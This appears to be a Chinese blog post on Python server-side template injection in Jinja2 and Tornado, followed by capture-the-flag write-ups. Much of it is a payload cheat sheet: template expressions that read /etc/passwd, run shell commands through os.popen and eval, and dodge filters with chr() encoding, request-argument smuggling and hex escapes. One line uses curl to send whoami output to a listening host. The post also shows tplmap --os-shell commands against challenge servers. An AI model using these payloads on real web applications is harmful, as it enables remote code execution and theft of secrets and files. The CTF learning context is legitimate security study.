SSTI注入——python中的ssti

上次大概了解了一些ssti漏洞的整体知识 今天解决ssti的python部分

1.jinja2

Jinja2是一个Python模板引擎,功能比较类似于PHP的smarty,J2ee的Freemarker和velocity。 它能完全支持uniocode,并具有集成的沙箱执行环境,应用广泛。jinja2使用BSD授权 jinja2是Flask作者开发的一个模板系统,它提供一种将数据和模板结合在一起,以生成动态文本的方法。它能够生成具有清晰而简洁的结构、更易读取的网页代码。

Jinja2使用可扩展模板语言,并带有一组便捷的属性和函数来控制复杂的小部件,以及可读性和可维护性良好的模板功能。它具有可扩展的结构,可以给模板定义自己的工具集,并允许模板之间创建关系。Jinja2具有自定义块和过滤器。

Jinja2支持完全可定制的模板来格式化输出,允许开发人员使用动态 HTML、XML和JSON模板。它还支持对密码字符串的转换、对只包含数字的HTML实体的转换以及模板变量的安全替换。

此外,Jinja2通过提供可以重用的功能使内容易维护,并允许生成复杂模板代码而不降低可读性和可维护性。可以把模板加载到主机/客户端,也可以把它们保存到数据库中,并且可以使用其他技术来组合模板,从而更加灵活地创建复杂的页面结构。

前端开发人员经常使用Jinja2来通过增加可重用支持减少维护成本,并且可以针对不同的客户端特性生成动态页面。

它可以把各种模板文件格式转换为标准的Web格式,表示所有可能的输入项。因此,可以通过Jinja2轻松地渲染内容,使之更加符合用户的需求。

 其中的BSD授权

jinja2中存在三种语法:

控制结构 {% %}

变量取值 {{ }}

注释 {# #}

 jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。

inja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。

被两个括号包裹的内容会输出其表达式的值

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

__dict__ :保存类实例或对象实例的属性变量键值对字典
__class__ :返回一个实例所属的类
__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__ :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组      // __base__和__mro__都是用来寻找基类的
__subclasses__ :以列表返回类的子类
__init__ :类的初始化方法
__globals__    :对包含函数全局变量的字典的引用__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

基础绕过的payload:

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类

[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行

[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

绕过waf的payload:

过滤[

#getitem、pop ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()

过滤引号 

#chr函数 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象 {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd #命令执行 {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }} {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

过滤下划线

{{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤花括号

#用{%%}标记 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

2.tornado

Tornado我们在 FriendFeed 的 Web 服务器及其常用工具的开源版本。Tornado 是非阻塞式服务器,而且速度相当快。得利于其 非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个理想框架

Tornado 大致提供了三种不同的组件:

1.Web 框架

2.HTTP 服务端以及客户端

3.异步的网络框架,可以用来实现其他网络协议

简单介绍一下异步网络框架

 tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。

 tornado的一些payload可以直接参考jinja2的

3.Djando

基于 Python 语言的 Web 框架有很多,Django 框架是其中应用范围最广、性能最优异、最具发展前景的一款。Django是一个开放源代码的web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。

没找到什么关于这个框架的payload以及其他知识

总结

python里的运用最多的应该就是flask模板注入 也可以直接用tplmap自动化注入来找到ssti的注入点

payload :

python2

1.{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
2.{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
3.{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}
4.{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
5.{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[80]["load\x5Fmodule"]("os")["system"]("ls")}}
6.{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

python3

1.{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

2.{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}

下面来看题:

[护网杯 2018]easy_tornado

打开题目

发现有三个文件

第一个文件

 

说flag在fllllllllllag里

第二个文件 因为render是tornado里的一个渲染函数 可以生成html模板

而且在第二个文件的url里发现有一个 filehash

 第三个文件hint.txt告诉我们 filename被md5加密了 我们需要找到cookie_secret

 在flag.txt的网址里把flag改成fllllllllllllag发现报错

 抓了两个网址的包发现没什么用 那就抓一下返回错误的包

在这里面输入 msg=123发现有回显

输入{{7*7}}发现

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

根据这些输入一下看看 ?msg={{handler.settings}}

发现找到了'cookie_secret': '02d8e2a8-bcd8-4232-bd2c-c77e7cb143f3'

在按照hint.txt的提示 把他和filename md5加密 这里直接手动加密就可以了

filename=/fllllllllllllag&filehash=md5(02d8e2a8-bcd8-4232-bd2c-c77e7cb143f3+md5(/fllllllllllllag))

/fllllllllllllag的md5加密--3bf9f6cf685a6dd8defadabfb41a03a1 

filehash= b3011a00d80ef7b0ddfea95e8554b1b6

 所以最后构造的payload

?filename=/fllllllllllllag&filehash= b3011a00d80ef7b0ddfea95e8554b1b6

得到flag

这道题考的重点就是torando的handler.settings 找到cookie_secret

bugku simple_SSTI_1

打开题目 他说你需要传入一个名叫flag的参数

 

查看一下源代码

 有一句<!-- You know, in the flask, We often set a secret_key variable.-->

意思是 你知道 在flask框架我们经常设置一个secret_key的变量

查阅资料发现 secret_key是config.py文件配置里的配置变量 并且是大写格式

发现是存在ssti注入点的  构造payload ?flag={{config.SECRET_KEY}}

得到flag

 bugku simple_SSTI_2

 打开题目和他的1是一样的 但是不同点是原代码没有提示

输入/?flag={{cat /flag}}

发现了jinja2的页面 说明这道题是jnja2模板

利用tplmap进行注入 这里需要注意一点 tplmap用的是python2 不是python3 不然会报错

python2 tplmap.py -u "http://114.67.175.224:10713/?flag="  进行注入 发现了注入点

 

python2 tplmap.py -u "http://114.67.175.224:10713/?flag=" --os-shell  获取shell 进行命令 ls 发现了flag文件 直接cat flag 得到flag

第二种做法

手注

先找到注入点

 利用命令

config.__class__.__init__.__globals__['os'].popen('ls ../').read() 读取系统文件

__class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
__init__ 初始化类,返回的类型是function
__globals__[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
open() 方法用于打开一个文件,并返回文件对象

 接着往下读取 ?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app').read()}}

发现了flag文件 读取 ?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}

还是用tplmap会简单一些 手注需要你认识这些所有的函数

tplmap支持测试 Mako, Jinja2, Jade, Smarty, Freemarker, Velocity, 和 Twig。 所以用起来很方便

 

 攻防世界Web_python_template_injection

 打开题目 先找一下注入点

 在url后面直接输入{{7*7}} 发现有回显

 

直接用tplmap进行注入

python2 tplmap.py -u "http://61.147.171.105:57255/{{7*7}}"

发现是jinja2类型的

接着往下拿shell python2 tplmap.py -u "http://61.147.171.105:57255/{{7*7}}" --os-shell

拿到shell之后 ls 发现了fl4g 直接cat 拿到flag

buuctf [BJDCTF2020]The mystery of ip

打开题目

发现flag页面 点开 发现了自己的ip

看一下hint页面 发现没什么东西 看一下源代码

 

他问你知道为什么我知道你的IP吗 估计要伪造本地登录了 抓包试试

伪造 X-Forwarded-For:127.0.0.1 发现也没什么不同 只是ip变化了

 再X-Forwarded-For:123 发现ip跟着变化 那可能是ssti注入了

 

输入X-Forwarded-For:{{7*7}} 回显49 确认是ssti注入

 X-Forwarded-For:{{system('ls')}} 查看目录

查看 flag.php

发现没东西

直接 cat /flag  得到flag 

 [WesternCTF2018]shrine

 打开题目

发现是flask框架 看源码app.config['FLAG'] = os.environ.pop('FLAG')推测{undefined{config}}可查看所有app.config内容 先用tplmap扫描一下试试

 通过源码 找到了shrine路径 并找到注入点

 发现无法用tplmap进行注入

进行正常注入  发现他设置了黑名单 config 以及self

这里涉及到一个新的知识点--python沙箱逃逸

先来了解一下沙箱

Sandbox(沙箱)是指一种技术,在这种技术中,软件运行在操作系统受限制的环境中。由于该软件在受限制的环境中运行,即使一个闯入该软件的入侵者也不能无限制访问操作系统提供设施;获得该软件控制权的黑客造成的损失也是有限的。此外,如果攻击者要获得对操作系统的完全控制,他们就不得不攻克沙箱限制。Sandbox也提供深度防御,许多PaaS系统都提供了一个实时运行环境,它的核心就是一个沙箱应用程序,如Azu re和Google App Engine

沙箱逃逸

沙箱逃逸,就是在一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程

构造payload:{{url_for.__globals__['current_app'].config.FLAG}}

得到flag

分步做法

分析源代码 找到注入点

进行分析源码

app = flask.Flask(__name__) app.config['FLAG']

注册了一个名为FLAG的config,猜测flag在此config中,若不存在过滤,可以使用{undefined{config}}查看app.config中的内容,

但此题设置了黑名单

将黑名单中的字符串替换为空

在这要用到python的内置函数:url_for 和 get_flashed_messages

payload: /shrine/{{url_for.__globals__}}

发现Flask app对应的是current_app.猜测current_app就是当前的app。

得到app的config

payload:  /shrine/{{url_for.__globals__['current_app'].config}}

 得到flag

这道题的重点就是要了解python的内置函数并且根据题目进行沙箱逃逸

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值